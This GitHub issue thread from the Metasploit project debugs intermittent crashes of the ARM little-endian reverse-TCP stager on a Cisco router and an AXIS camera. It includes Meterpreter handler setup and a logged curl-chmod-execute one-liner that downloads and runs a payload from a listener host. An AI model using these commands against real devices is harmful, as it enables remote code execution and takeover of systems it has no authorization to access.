Linux armle stager_sock_reverse is unstable

[jbaines-r7]

Background

I've been doing some module work on a couple of ARM little endian devices and thought I noticed some inconsistency with the stager loading meterpreter after performing the callback. It didn't happen very often and wasn't all that repeatable until I started hacking on a Cisco RV340 which uses:

cat /proc/cpuinfo
processor	: 0
model name	: ARMv7 Processor rev 1 (v7l)
BogoMIPS	: 1790.77
Features	: half thumb fastmult edsp tls 
CPU implementer	: 0x41
CPU architecture: 7
CPU variant	: 0x2
CPU part	: 0xc09
CPU revision	: 1

processor	: 1
model name	: ARMv7 Processor rev 1 (v7l)
BogoMIPS	: 1790.77
Features	: half thumb fastmult edsp tls 
CPU implementer	: 0x41
CPU architecture: 7
CPU variant	: 0x2
CPU part	: 0xc09
CPU revision	: 1

Hardware	: Comcerto 2000 RV340
Revision	: 0001
Serial		: 0000000000000000

uname -a
Linux router0B874A 4.1.8 #2 SMP Thu Sep 17 09:26:06 IST 2020 armv7l GNU/Linux

The stager (or downloaded stage) crashes frequent on this platform. About half the time. Helpfully, the system dumps core and they all generally look like this:

albinolobster@ubuntu:~/metasploit-framework$ gdb-multiarch zcZUgRmN zcZUgRmN.11.core
GNU gdb (Ubuntu 10.1-2ubuntu2) 10.1.90.20210411-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from zcZUgRmN...
(No debugging symbols found in zcZUgRmN)

warning: Can't open file /tmp/zcZUgRmN during file-backed mapping note processing
[New LWP 15790]
Core was generated by `/tmp/zcZUgRmN'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000054cc in ?? ()
(gdb) bt
#0  0x000054cc in ?? ()
#1  0x00000000 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) 

Which is not hella helpful. The crash address isn't even consistent. Here's a different one:

Core was generated by `/tmp/NFOckXpd'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000e1d2c in ?? ()
(gdb) bt
#0  0x000e1d2c in ?? ()
#1  0x00000000 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) 

Steps to reproduce

To eliminate the odds that my module was interfering with the stager loading (somehow), I tested with one of the payloads already on disk:

ls -l *.core
-rw-------    1 www-data www-data   1064960 Jan 25 21:13 DGOuhqKt.11.core
-rw-------    1 www-data www-data    159744 Jan 25 21:52 DGxqpaqa.11.core
-rw-------    1 www-data www-data    159744 Jan 25 21:51 DjqRRYMy.11.core
-rw-------    1 www-data www-data   1064960 Jan 26 07:24 NFOckXpd.11.core
-rw-------    1 www-data www-data    159744 Jan 25 20:48 NrYnIzpZ.11.core
-rw-------    1 www-data www-data    159744 Jan 25 21:20 QxoHn.11.core
-rw-------    1 www-data www-data    159744 Jan 25 21:13 TJGqHEoG.11.core
-rw-------    1 www-data www-data    159744 Jan 25 21:51 YCRaIUrf.11.core
-rw-------    1 www-data www-data    159744 Jan 26 20:48 YbDuPQev.11.core
-rw-------    1 www-data www-data    159744 Jan 25 21:18 YlulVFSa.11.core
-rw-------    1 www-data www-data    159744 Jan 25 21:04 aTuBG.11.core
-rw-------    1 www-data www-data    159744 Jan 25 21:33 dIuvNyMZ.11.core
-rw-------    1 www-data www-data    159744 Jan 25 21:17 emjYW.11.core
-rw-------    1 www-data www-data    159744 Jan 25 20:57 gLYCyMUO.11.core
-rw-------    1 www-data www-data    159744 Jan 26 07:24 ndyZKiYf.11.core
-rw-------    1 www-data www-data   1064960 Jan 26 07:25 noeJIIpA.11.core
-rw-------    1 www-data www-data   1093632 Jan 25 20:52 owTxwdNy.11.core
-rw-------    1 www-data www-data    159744 Jan 25 21:51 qTpMlSIL.11.core
-rw-------    1 www-data www-data   1064960 Jan 25 21:33 qaNCI.11.core
-rw-------    1 www-data www-data   1064960 Jan 25 20:54 rfqDdsHx.11.core
-rw-------    1 www-data www-data   1064960 Jan 25 21:18 sCHspIQx.11.core
-rw-------    1 www-data www-data    159744 Jan 25 21:40 zcZUgRmN.11.core
-rw-------    1 www-data www-data    159744 Jan 25 21:39 zkqKWnkS.11.core
/tmp/YbDuPQev     
/tmp/YbDuPQev
Segmentation fault (core dumped)

As we can see, it crashed on the second attempt. On the metasploit side of things, this looked like so:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/armle/meterpreter/reverse_tcp
payload => linux/armle/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.0.6
LHOST => 10.0.0.6
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.0.6:4444 
[*] Sending stage (903400 bytes) to 10.0.0.8
[*] Meterpreter session 1 opened (10.0.0.6:4444 -> 10.0.0.8:49737 ) at 2022-01-27 03:44:14 -0800

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 10.0.0.8 - Meterpreter session 1 closed.  Reason: User exit
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.0.6:4444 
[*] Sending stage (903400 bytes) to 10.0.0.8

Note that it was successful on the first run but on the second run the payload never advances beyond retrieving the stage (because it crashes).

Next I was concerned the payloads on disk were corrupt. So I compiled a stager from source (I did update the IP address):

albinolobster@ubuntu:~/metasploit-framework/external/source/shellcode/linux/armle$ arm-linux-gnueabihf-as ./stager_sock_reverse.s -o stager_sock_reverse.o
albinolobster@ubuntu:~/metasploit-framework/external/source/shellcode/linux/armle$ arm-linux-gnueabihf-ld stager_sock_reverse.o -o stager_sock_reverse
albinolobster@ubuntu:~/metasploit-framework/external/source/shellcode/linux/armle$ arm-linux-gnueabihf-strip stager_sock_reverse

And then I uploaded that to the RV340 to test with.

/tmp/stager_sock_reverse
/tmp/stager_sock_reverse
/tmp/stager_sock_reverse
Segmentation fault (core dumped)

As you an see, the first two runs were successful, but the third crashed. The behavior on the metasploit side was exactly the same as before (waiting after the stage had been downloaded).

After looking over the stager code, my assumption is that this is a caching issue (would explain why it sometimes happens and at inconsistent addresses). ARM is supposed to have the instruction cache flushed upon self-modification (I believe mmap+write qualifies). And we certainly flush in other stagers where it's required (e.g. mipsle) so it seems like an obvious place to investigate. 🤷

I think a next stage of investigation would be to reproduce this on another ARM device (not emulated). Probably a raspberry pi would be easiest.

Were you following a specific guide/tutorial or reading documentation?

Nope.

Expected behavior

Provide a meterpreter shell and not crash.

Current behavior

Sometimes crashing.

Metasploit version

Framework: 6.1.27-dev-b72bdf0b76
Console : 6.1.27-dev-b72bdf0b76

[jbaines-r7]

I was not able to recreate on a pi zero:

pi@pisniffer:~ $ cat /proc/cpuinfo
processor	: 0
model name	: ARMv6-compatible processor rev 7 (v6l)
BogoMIPS	: 697.95
Features	: half thumb fastmult vfp edsp java tls 
CPU implementer	: 0x41
CPU architecture: 7
CPU variant	: 0x0
CPU part	: 0xb76
CPU revision	: 7

Hardware	: BCM2835
Revision	: 9000c1
Serial		: 00000000419821a9
Model		: Raspberry Pi Zero W Rev 1.1

[bcoles]

Likely unrelated, but to add some fuel to the fire, all linux/armle/* payloads are seg faulting on an ancient 32-bit ARMv5 chip. I haven't encountered this issue with 32-bit ARMv6/ARMv7 boards.

Board: TI DM355 EVM (little endian)

# cat /proc/cpuinfo
cat /proc/cpuinfo
Processor       : ARM926EJ-Sid(wb) rev 5 (v5l)
BogoMIPS        : 148.27
Features        : swp half thumb fastmult edsp java 
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant     : 0x0
CPU part        : 0x926
CPU revision    : 5
Cache type      : write-back
Cache clean     : cp15 c7 ops
Cache lockdown  : format C
Cache format    : Harvard
I size          : 16384
I assoc         : 4
I line length   : 32
I sets          : 128
D size          : 8192
D assoc         : 4
D line length   : 32
D sets          : 64

Hardware        : DaVinci EVM
Revision        : 64430000
Serial          : 0000000000000000

[jbaines-r7]

Another data point. This is from an AXIS M3044-V dome camera:

meterpreter > shell
Process 3556 created.
Channel 1 created.
cat /proc/cpuinfo
processor	: 0
model name	: ARMv7 Processor rev 1 (v7l)
BogoMIPS	: 156.00
Features	: half thumb fastmult vfp edsp neon vfpv3 tls vfpd32 
CPU implementer	: 0x41
CPU architecture: 7
CPU variant	: 0x4
CPU part	: 0xc09
CPU revision	: 1

Hardware	: Ambarella S2L (Flattened Device Tree)
Revision	: 0000
Serial		: 0000000000000000

Exact same behavior. The payload dies sometime during stage retrieval.

[*] curl -so /tmp/tCfAdJCR http://192.168.1.67:8181/VmFRmB;chmod +x /tmp/tCfAdJCR;/tmp/tCfAdJCR;rm -f /tmp/tCfAdJCR
[*] Client 192.168.1.183 (curl/7.79.1) requested /VmFRmB
[*] Sending payload to 192.168.1.183 (curl/7.79.1)
[*] Sending stage (908480 bytes) to 192.168.1.183

This system maintains a crash log that lists recent crashes. You can see the various stagers crashing with sig 11.

cat /var/log/segfault.log
2021-09-06T04:31:11.539-05:00 axis-accc8e822c7a [ ERR     ] kernel: [ 1969.966616][ T3940] tCfAdJCR: tCfAdJCR: potentially unexpected fatal signal 11.
2021-09-06T04:32:17.078-05:00 axis-accc8e822c7a [ ERR     ] kernel: [ 2035.505478][ T4443] etWwSyNF: etWwSyNF: potentially unexpected fatal signal 11.
2021-09-06T04:33:08.727-05:00 axis-accc8e822c7a [ ERR     ] kernel: [ 2087.154611][ T4793] VSkCGjwY: VSkCGjwY: potentially unexpected fatal signal 11.
date
Mon Sep  6 04:34:38 EST 2021

Success rate for establishing a meterpreter session is quite low. I'd say 4/5 sessions crash during stage retrieval.

Note that stageless is rock solid. 100% success rate there (the exploit I'm working on allows me to upload / execute stageless 🤷)

[github-actions]

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

[jbaines-r7]

Let's keep this open. At some point, I'll pinpoint a good system to do better testing on.

[github-actions]

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

[bcoles]

#16562